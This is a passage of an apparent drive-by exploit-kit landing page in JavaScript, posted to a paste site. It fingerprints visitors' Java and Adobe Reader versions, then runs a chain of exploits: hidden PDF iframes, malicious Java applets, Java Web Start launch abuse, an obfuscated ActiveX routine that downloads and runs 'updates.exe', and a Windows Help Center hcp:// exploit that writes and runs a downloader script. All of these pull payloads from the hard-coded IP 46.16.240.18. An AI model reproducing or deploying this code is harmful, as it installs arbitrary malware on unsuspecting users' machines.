  907.                             if (c.isGecko && c.compareNums(c.verGecko, "1,9,0,0") < 0 && c.compareNums(c.verGecko, "1,8,0,0") >= 0) {} else {
  908.                                 b.queryWithoutApplets00(c, a)
  909.                             }
  910.                         }
  911.                     }
  912.                 }
  913.                 return a.value
  914.             },
  915.             applet: {
  916.                 results: [
  917.                     [null, null],
  918.                     [null, null],
  919.                     [null, null]
  920.                 ],
  921.                 HTML: [0, 0, 0],
  922.                 active: [0, 0, 0],
  923.                 allowed: [2, 2, 2],
  924.                 DummyObjTagHTML: 0,
  925.                 DummySpanTagHTML: 0,
  926.                 getResult: function () {
  927.                     var c = this.results,
  928.                         a, b;
  929.                     for (a = 0; a < c.length; a++) {
  930.                         b = c[a];
  931.                         if (b[0]) {
  932.                             break
  933.                         }
  934.                     }
  935.                     return [].concat(b)
  936.                 },
  937.                 canTry: function (d) {
  938.                     var b = this,
  939.                         c = b.$,
  940.                         a = b.parentNode;
  941.                     if (b.allowed[d] == 3) {
  942.                         return true
  943.                     }
  944.                     if (!a.version0 || !a.Enabled || (c.isIE && !c.ActiveXEnabled)) {
  945.                         if (b.allowed[d] == 2) {
  946.                             return true
  947.                         }
  948.                         if (b.allowed[d] == 1 && !b.getResult()[0]) {
  949.                             return true
  950.                         }
  951.                     }
  952.                     return false
  953.                 },
  954.                 canTryAny: function () {
  955.                     var b = this,
  956.                         a;
  957.                     for (a = 0; a < b.allowed.length; a++) {
  958.                         if (b.canTry(a)) {
  959.                             return true
  960.                         }
  961.                     }
  962.                     return false
  963.                 },
  964.                 canUseAppletTag: function () {
  965.                     var b = this,
  966.                         c = b.$,
  967.                         a = b.parentNode;
  968.                     return (!c.isIE || a.Enabled)
  969.                 },
  970.                 canUseObjectTag: function () {
  971.                     var a = this,
  972.                         b = a.$;
  973.                     return (!b.isIE || b.ActiveXEnabled)
  974.                 },
  975.                 queryThis: function (h) {
  976.                     var g, c = this,
  977.                         b = c.parentNode,
  978.                         f = b.$,
  979.                         a = vendor = null,
  980.                         d = f.getDOMobj(c.HTML[h], true);
  981.                     if (d) {
  982.                         try {
  983.                             a = d.getVersion() + " ";
  984.                             vendor = d.getVendor() + " ";
  985.                             d.statusbar(f.winLoaded ? " " : " ")
  986.                         } catch (g) {}
  987.                         if (f.isStrNum(a)) {
  988.                             c.results[h] = [a, vendor]
  989.                         }
  990.                         try {
  991.                             if (f.isIE && a && d.readyState != 4) {
  992.                                 f.garbage = true;
  993.                                 d.parentNode.removeChild(d)
  994.                             }
  995.                         } catch (g) {}
  996.                     }
  997.                 },
  998.                 insertHTMLQueryAll: function (e) {
  999.                     var g = this,
  1000.                         n = g.parentNode,
  1001.                         d = n.$,
  1002.                         o = g.results,
  1003.                         q = g.HTML,
  1004.                         h = "&nbsp;&nbsp;&nbsp;&nbsp;",
  1005.                         u = "A.class";
  1006.                     if (!d.isString(e) || !(/\.jar\s*$/).test(e) || (/\\/).test(e)) {
  1007.                         return [null, null]
  1008.                     }
  1009.                     if (n.OTF < 1) {
  1010.                         n.OTF = 1
  1011.                     }
  1012.                     if (n.jreDisabled()) {
  1013.                         return [null, null]
  1014.                     }
  1015.                     if (n.OTF < 2) {
  1016.                         n.OTF = 2
  1017.                     }
  1018.                     var c = e,
  1019.                         t = "",
  1020.                         m;
  1021.                     if ((/[\/]/).test(e)) {
  1022.                         m = e.split("/");
  1023.                         c = m[m.length - 1];
  1024.                         m[m.length - 1] = "";
  1025.                         t = m.join("/")
  1026.                     }
  1027.                     var j = ["archive", c, "code", u],
  1028.                         l = ["mayscript", "true"],
  1029.                         r = ["scriptable", "true"].concat(l),
  1030.                         f = !d.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : n.mimeType[0];
  1031.                     if (!q[0] && g.canUseObjectTag() && g.canTry(0)) {
  1032.                         q[0] = d.isIE ? d.insertHTML("object", ["type", f].concat(j), ["codebase", t].concat(j).concat(r), h, n) : d.insertHTML("object", ["type", f, "archive", c, "classid", "java:" + u], ["codebase", t, "archive", c].concat(r), h, n);
  1033.                         o[0] = [0, 0];
  1034.                         g.queryThis(0)
  1035.                     }
  1036.                     if (!q[1] && g.canUseAppletTag() && g.canTry(1)) {
  1037.                         q[1] = d.isIE ? d.insertHTML("applet", ["alt", h].concat(l).concat(j), ["codebase", t].concat(l), h, n) : d.insertHTML("applet", ["codebase", t, "alt", h].concat(l).concat(j), [].concat(l), h, n);
  1038.                         o[1] = [0, 0];
  1039.                         g.queryThis(1)
  1040.                     }
  1041.                     if (!q[2] && g.canUseObjectTag() && g.canTry(2)) {
  1042.                         q[2] = d.isIE ? d.insertHTML("object", ["classid", n.classID], ["codebase", t].concat(j).concat(r), h, n) : d.insertHTML();
  1043.                         o[2] = [0, 0];
  1044.                         g.queryThis(2)
  1045.                     }
  1046.                     if (!g.DummyObjTagHTML && g.canUseObjectTag()) {
  1047.                         g.DummyObjTagHTML = d.insertHTML("object", [], [], h)
  1048.                     }
  1049.                     if (!g.DummySpanTagHTML) {
  1050.                         g.DummySpanTagHTML = d.insertHTML("", [], [], h)
  1051.                     };
  1052.                     var k, a = 0;
  1053.                     for (k = 0; k < o.length; k++) {
  1054.                         if (q[k] || g.canTry(k)) {
  1055.                             a++
  1056.                         } else {
  1057.                             break
  1058.                         }
  1059.                     }
  1060.                     if (a == o.length) {
  1061.                         n.getVersionDone = n.forceVerifyTag.length > 0 ? 0 : 1
  1062.                     }
  1063.                     return g.getResult()
  1064.                 }
  1065.             },
  1066.             append: function (e, d) {
  1067.                 for (var c = 0; c < d.length; c++) {
  1068.                     e.push(d[c])
  1069.                 }
  1070.             },
  1071.             JavaFix: function () {}
  1072.         },
  1073.         flash: {
  1074.             mimeType: ["application/x-shockwave-flash", "application/futuresplash"],
  1075.             progID: "ShockwaveFlash.ShockwaveFlash",
  1076.             classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  1077.             getVersion: function () {
  1078.                 var b = function (i) {
  1079.                         if (!i) {
  1080.                             return null
  1081.                         }
  1082.                         var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
  1083.                         return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1084.                     };
  1085.                 var d, h = this,
  1086.                     f = h.$,
  1087.                     j, g, k = null,
  1088.                     c = null,
  1089.                     a = null;
  1090.                 if (!f.isIE) {
  1091.                     d = f.findNavPlugin("Flash");
  1092.                     if (d && d.description && f.hasMimeType(h.mimeType)) {
  1093.                         k = b(d.description)
  1094.                     }
  1095.                     if (k) {
  1096.                         k = f.getPluginFileVersion(d, k)
  1097.                     }
  1098.                 } else {
  1099.                     for (g = 15; g > 2; g--) {
  1100.                         c = f.getAXO(h.progID + "." + g);
  1101.                         if (c) {
  1102.                             a = g.toString();
  1103.                             break
  1104.                         }
  1105.                     }
  1106.                     if (a == "6") {
  1107.                         try {
  1108.                             c.AllowScriptAccess = "always"
  1109.                         } catch (j) {
  1110.                             return "6,0,21,0"
  1111.                         }
  1112.                     }
  1113.                     try {
  1114.                         k = b(c.GetVariable("$version"))
  1115.                     } catch (j) {}
  1116.                     if (!k && a) {
  1117.                         k = a
  1118.                     }
  1119.                 }
  1120.                 h.installed = k ? 1 : -1;
  1121.                 h.version = f.formatNum(k);
  1122.                 return true
  1123.             }
  1124.         },
  1125.         windowsmediaplayer: {
  1126.             mimeType: ["application/x-mplayer2", "application/asx", "application/x-ms-wmp"],
  1127.             progID: "wmplayer.ocx",
  1128.             classID: "clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6",
  1129.             getVersion: function () {
  1130.                 var b = this,
  1131.                     a = null,
  1132.                     e = b.$,
  1133.                     d, f = null,
  1134.                     c;
  1135.                 b.installed = -1;
  1136.                 if (!e.isIE) {
  1137.                     if (e.hasMimeType(b.mimeType)) {
  1138.                         f = e.findNavPlugin("Windows\\s*Media.*Plug-?in", 0, "Totem") || e.findNavPlugin("Flip4Mac.*Windows\\s*Media.*Plug-?in", 0, "Totem");
  1139.                         d = (e.isGecko && e.compareNums(e.verGecko, e.formatNum("1.8")) < 0);
  1140.                         d = d || (e.isOpera && e.verOpera < 10);
  1141.                         if (!d && e.getMimeEnabledPlugin(b.mimeType[2], "Windows\\s*Media.*Firefox.*Plug-?in")) {
  1142.                             c = e.getDOMobj(e.insertHTML("object", ["type", b.mimeType[2], "data", ""], ["src", ""], "", b));
  1143.                             if (c) {
  1144.                                 a = c.versionInfo
  1145.                             }
  1146.                         }
  1147.                     }
  1148.                 } else {
  1149.                     f = e.getAXO(b.progID);
  1150.                     if (f) {
  1151.                         a = f.versionInfo
  1152.                     }
  1153.                 }
  1154.                 b.installed = f && a ? 1 : (f ? 0 : -1);
  1155.                 b.version = e.formatNum(a)
  1156.             }
  1157.         },
  1158.         adobereader: {
  1159.             mimeType: "application/pdf",
  1160.             navPluginObj: null,
  1161.             progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
  1162.             classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  1163.             INSTALLED: {},
  1164.             pluginHasMimeType: function (d, c, f) {
  1165.                 var b = this,
  1166.                     e = b.$,
  1167.                     a;
  1168.                 for (a in d) {
  1169.                     if (d[a] && d[a].type && d[a].type == c) {
  1170.                         return 1
  1171.                     }
  1172.                 }
  1173.                 if (e.getMimeEnabledPlugin(c, f)) {
  1174.                     return 1
  1175.                 }
  1176.                 return 0
  1177.             },
  1178.             getVersion: function (i) {
  1179.                 var f = this,
  1180.                     c = f.$,
  1181.                     g, d, j, l = p = null,
  1182.                     h = null,
  1183.                     k = null,
  1184.                     a, b;
  1185.                 i = (c.isString(i) && i.length) ? i.replace(/\s/, "").toLowerCase() : f.mimeType;
  1186.                 if (c.isDefined(f.INSTALLED[i])) {
  1187.                     f.installed = f.INSTALLED[i];
  1188.                     return
  1189.                 }
  1190.                 if (!c.isIE) {
  1191.                     a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1192.                     if (f.getVersionDone !== 0) {
  1193.                         f.getVersionDone = 0;
  1194.                         p = c.getMimeEnabledPlugin(f.mimeType, a);
  1195.                         if (!p && c.hasMimeType(f.mimeType)) {
  1196.                             p = c.findNavPlugin(a, 0)
  1197.                         }
  1198.                         if (p) {
  1199.                             f.navPluginObj = p;
  1200.                             h = c.getNum(p.description) || c.getNum(p.name);
  1201.                             h = c.getPluginFileVersion(p, h);
  1202.                             if (!h && c.OS == 1) {
  1203.                                 if (f.pluginHasMimeType(p, "application/vnd.adobe.pdfxml", a)) {
  1204.                                     h = "9"
  1205.                                 } else {
  1206.                                     if (f.pluginHasMimeType(p, "application/vnd.adobe.x-mars", a)) {
  1207.                                         h = "8"
  1208.                                     }
  1209.                                 }
  1210.                             }
  1211.                         }
  1212.                     } else {
  1213.                         h = f.version
  1214.                     }
  1215.                     l = c.getMimeEnabledPlugin(i, a);
  1216.                     f.installed = l && h ? 1 : (l ? 0 : (f.navPluginObj ? -0.2 : -1))
  1217.                 } else {
  1218.                     p = c.getAXO(f.progID[0]) || c.getAXO(f.progID[1]);
  1219.                     b = /=\s*([\d\.]+)/g;
  1220.                     try {
  1221.                         d = (p || c.getDOMobj(c.insertHTML("object", ["classid", f.classID], ["src", ""], "", f))).GetVersions();
  1222.                         for (j = 0; j < 5; j++) {
  1223.                             if (b.test(d) && (!h || RegExp.$1 > h)) {
  1224.                                 h = RegExp.$1
  1225.                             }
  1226.                         }
  1227.                     } catch (g) {}
  1228.                     f.installed = h ? 1 : (p ? 0 : -1)
  1229.                 }
  1230.                 if (!f.version) {
  1231.                     f.version = c.formatNum(h)
  1232.                 }
  1233.                 f.INSTALLED[i] = f.installed
  1234.             }
  1235.         },
  1236.         zz: 0
  1237.     };
  1238.     PluginDetect.initScript();
  1239.     PluginDetect.getVersion(".");
  1240.     jver = PluginDetect.getVersion("Java", javafile);
  1241.     pdfver = PluginDetect.getVersion("AdobeReader");
  1242. } catch (e) {}
  1243. if (typeof jver == "string") {
  1244.     jver = jver.split(".");
  1245. } else {
  1246.     jver = [0, 0, 0, 0];
  1247. }
  1248. if (typeof pdfver == "string") {
  1249.     pdfver = pdfver.split(".");
  1250. } else {
  1251.     pdfver = [0, 0, 0, 0];
  1252. }
  1253.  
  1254. function show_pdf(src) {
  1255.     var pifr = document.createElement("IFRAME");
  1256.     pifr.setAttribute("width", 10);
  1257.     pifr.setAttribute("height", 10);
  1258.     pifr.setAttribute("src", src);
  1259.     document.body.appendChild(pifr);
  1260. }
  1261.  
  1262. function spl0() {
  1263.     if (pdfver[0] > 0 && pdfver[0] < 8) {} else if (pdfver[0] == 8 || pdfver[0] == 9 && pdfver[1] <= 3) {
  1264.         show_pdf("http://46.16.240.18/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV?pp=1&x=" + pdfver);
  1265.     }
  1266.  
  1267.     if (jver[1] == 6 && jver[3] <= 23) {
  1268.         function go(a) {
  1269.             document["write"]('<app' + 'let><param name="code" value="ht' + 'tp://772861970/options"><param name="code' + 'base" value="file:' + a + '\\ja' + 'va\\jr' + 'e6\\lib\\e' + 'xt"><param name="uid" value="http://46.16.240.18/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV?s=odayz&"></app' + 'let>');
  1270.         }
  1271.         go("C:\\Program Files");
  1272.         go("C:\\Program Files (x86)");
  1273.         go("D:\\Program Files");
  1274.         go("D:\\Program Files (x86)");
  1275.         go("E:\\Program Files");
  1276.         go("E:\\Program Files (x86)");
  1277.     }
  1278.     spl1();
  1279. }
  1280.  
  1281. function spl1() {
  1282.     if (jver[1] == 5 && jver[3] <= 23 || jver[1] == 6 && jver[3] <= 18) {
  1283.         document.write("<applet code=\"FactoryService.DefClass.class\" archive=\"555.jar\" width=\"300\" height=\"400\"><param name=\"p\" value=\"e00oMDDbWV3WVgbiV39DYSxJQCWdd/xbS?vki75KC55oJ.ETS%qSjf8R_K/\"/></applet>");
  1284.     }
  1285.  
  1286.     spl2();
  1287. }
  1288.  
  1289. function spl2() {
  1290.     if (jver[1] == 6 && jver[3] >= 10 && jver[3] <= 19) {
  1291.  
  1292.         function ljs(clid) {
  1293.             try {
  1294.                 var ghtb = document.createElement("OBJECT");
  1295.                 ghtb.classid = "clsid:" + clid;
  1296.                 ghtb.launch("http://46.16.240.18/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV?s=smbi& -J-jar -J\\\\178.238.134.210\\public\\data.jpg none");
  1297.             } catch (e) {}
  1298.         }
  1299.  
  1300.         ljs("CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA");
  1301.         ljs("8AD9C840-044E-11D1-B3E9-00805F499D93");
  1302.     }
  1303.     spl3();
  1304. }
  1305.  
  1306. function spl3() {
  1307.  
  1308.     spl5();
  1309. }
  1310.  
  1311.  
  1312.  
  1313. function spl5() {
  1314.  
  1315.     spl6();
  1316. }
  1317.  
  1318. function spl6() {
  1319.     var b5pe0Vag2MKz = 'http://46.16.240.18/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV?s=mdacot';
  1320.  
  1321.     function TqeiimqNgeGe(hNW1Ktuc1Mwf, uC8xHMDf65bZ) {
  1322.         var w96cXSThndQb = null;
  1323.         try {
  1324.             w96cXSThndQb = hNW1Ktuc1Mwf.CreateObject(uC8xHMDf65bZ)
  1325.         } catch (e) {}
  1326.         if (!w96cXSThndQb) {
  1327.             try {
  1328.                 w96cXSThndQb = hNW1Ktuc1Mwf.CreateObject(uC8xHMDf65bZ, "")
  1329.             } catch (e) {}
  1330.         }
  1331.         if (!w96cXSThndQb) {
  1332.             try {
  1333.                 w96cXSThndQb = hNW1Ktuc1Mwf.CreateObject(uC8xHMDf65bZ, "", "")
  1334.             } catch (e) {}
  1335.         }
  1336.         if (!w96cXSThndQb) {
  1337.             try {
  1338.                 w96cXSThndQb = hNW1Ktuc1Mwf.GetObject("", uC8xHMDf65bZ)
  1339.             } catch (e) {}
  1340.         }
  1341.         if (!w96cXSThndQb) {
  1342.             try {
  1343.                 w96cXSThndQb = hNW1Ktuc1Mwf.GetObject(uC8xHMDf65bZ, "")
  1344.             } catch (e) {}
  1345.         }
  1346.         if (!w96cXSThndQb) {
  1347.             try {
  1348.                 w96cXSThndQb = hNW1Ktuc1Mwf.GetObject(uC8xHMDf65bZ)
  1349.             } catch (e) {}
  1350.         }
  1351.         return (w96cXSThndQb);
  1352.     }
  1353.  
  1354.     function bDtBM1uey8Ft(dY7HdQwkbEXR) {
  1355.         VLR2ZESBqtIm = "updates.exe";
  1356.         var VqCCWemJbKYP = dY7HdQwkbEXR.CreateObject("Scripting.FileSystemObject", "");
  1357.         var sap = TqeiimqNgeGe(dY7HdQwkbEXR, "Sh" + "e" + "l" + "l.App" + "l" + "ica" + "t" + "i" + "on");
  1358.         var lnIxwrKIGNZ8 = TqeiimqNgeGe(dY7HdQwkbEXR, "ADODB.Stream");
  1359.         var C9iCca3heU4D = null;
  1360.         VLR2ZESBqtIm = VqCCWemJbKYP.BuildPath(VqCCWemJbKYP.GetSpecialFolder(2), VLR2ZESBqtIm);
  1361.         lnIxwrKIGNZ8.Mode = 3;
  1362.         try {
  1363.             C9iCca3heU4D = TqeiimqNgeGe(dY7HdQwkbEXR, "Mic" + "ro" + "so" + "ft.XM" + "LH" + "T" + "TP");
  1364.             C9iCca3heU4D.open("G" + "ET", b5pe0Vag2MKz, false);
  1365.         } catch (e) {
  1366.             try {
  1367.                 C9iCca3heU4D = TqeiimqNgeGe(dY7HdQwkbEXR, "MSX" + "M" + "L2.XML" + "HT" + "TP");
  1368.                 C9iCca3heU4D.open("GE" + "T", b5pe0Vag2MKz, false);
  1369.             } catch (e) {
  1370.                 try {
  1371.                     C9iCca3heU4D = TqeiimqNgeGe(dY7HdQwkbEXR, "M" + "SX" + "ML2.Se" + "rv" + "erX" + "MLHT" + "TP");
  1372.                     C9iCca3heU4D.open("GET", b5pe0Vag2MKz, false);
  1373.                 } catch (e) {
  1374.                     try {
  1375.                         C9iCca3heU4D = new XMLHttpRequest();
  1376.                         C9iCca3heU4D.open("GET", b5pe0Vag2MKz, false);
  1377.                     } catch (e) {
  1378.                         return 0;
  1379.                     }
  1380.                 }
  1381.             }
  1382.         }
  1383.         lnIxwrKIGNZ8.Type = 1;
  1384.         C9iCca3heU4D.send(null);
  1385.         rb = C9iCca3heU4D.responseBody;
  1386.         lnIxwrKIGNZ8.Open();
  1387.         lnIxwrKIGNZ8.Write(rb);
  1388.         lnIxwrKIGNZ8.SaveTofile(VLR2ZESBqtIm, 2);
  1389.         sap.ShellExecute(VLR2ZESBqtIm);
  1390.         return 1;
  1391.     }
  1392.  
  1393.     function OQoeLJMYu9Ij() {
  1394.         var krSeG6CqxmAi = 0;
  1395.         var OQoeLJMYu9Ijd = new Array('BD96C556-65A3-11D0-983A-00C04FC29E36', 'BD96C556-65A3-11D0-983A-00C04FC29E30', 'AB9BCEDD-EC7E-47E1-9322-D4A210617116', '0006F033-0000-0000-C000-000000000046', '0006F03A-0000-0000-C000-000000000046', '6e32070a-766d-4ee6-879c-dc1fa91d2fc3', '6414512B-B978-451D-A0D8-FCFDF33E833C', '7F5B7F63-F06F-4331-8A26-339E03C0AE3D', '06723E09-F4C2-43c8-8358-09FCD1DB0766', '639F725F-1B2D-4831-A9FD-874847682010', 'BA018599-1DB3-44f9-83B4-461454C84BF8', 'D0C07D56-7C69-43F1-B4A0-25F5A11FAB19', 'E8CCCDDF-CA28-496b-B050-6C07C962476B', null);
  1396.         while (OQoeLJMYu9Ijd[krSeG6CqxmAi]) {
  1397.             var dY7HdQwkbEXR = null;
  1398.             dY7HdQwkbEXR = document.createElement("object");
  1399.             dY7HdQwkbEXR.setAttribute("classid", "clsid:" + OQoeLJMYu9Ijd[krSeG6CqxmAi]);
  1400.             if (dY7HdQwkbEXR) {
  1401.                 try {
  1402.                     var GGaehpIeh50O = TqeiimqNgeGe(dY7HdQwkbEXR, "S" + "he" + "l" + "l.App" + "lica" + "ti" + "on");
  1403.                     if (GGaehpIeh50O) {
  1404.                         if (bDtBM1uey8Ft(dY7HdQwkbEXR)) return 1;
  1405.                     }
  1406.                 } catch (e) {}
  1407.             }
  1408.             krSeG6CqxmAi++;
  1409.         }
  1410.     }
  1411.     OQoeLJMYu9Ij();
  1412.  
  1413.  
  1414.     spl7();
  1415. }
  1416.  
  1417. function spl7() {
  1418.     document.location.href = "hcp://services/search?query=&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522cmd /c cd ../ @@ echo var a-ActiveXObject;var b-new a(WScript.Arguments(0));b.Open(WScript.Arguments(1),WScript.Arguments(2),WScript.Arguments(3));b.Send(WScript.Arguments(4));var c-b.responseBody;var d-new a(WScript.Arguments(5));d.Type-WScript.Arguments(6);d.Mode-WScript.Arguments(7);d.Open();d.Write(c);var e-WScript.Arguments(8);d.SaveToFile(e,2);var f-new a(WScript.Arguments(9)).Run(e,WScript.Arguments(10)); > exe.js @@ CScript.exe exe.js //b //s _Microsoft.XMLHTTP_ _GET_ _http://46.16.240.18/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV__s-hxpz_ _false_ _null_ _ADODB.Stream_ 1 3 _exe.exe_ _WScript.Shell_ 0 @@ del /f /q exe.js @@ taskkill /im /f HelpCtr.exe%2522.replace(/__/g,String.fromCharCode(63)).replace(/@/g,String.fromCharCode(38)).replace(/_/g,String.fromCharCode(34)).replace(/-/g,String.fromCharCode(61))%2529%27%29%29%3C/script%3E";
  1419. }
  1420.  
  1421. spl0();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement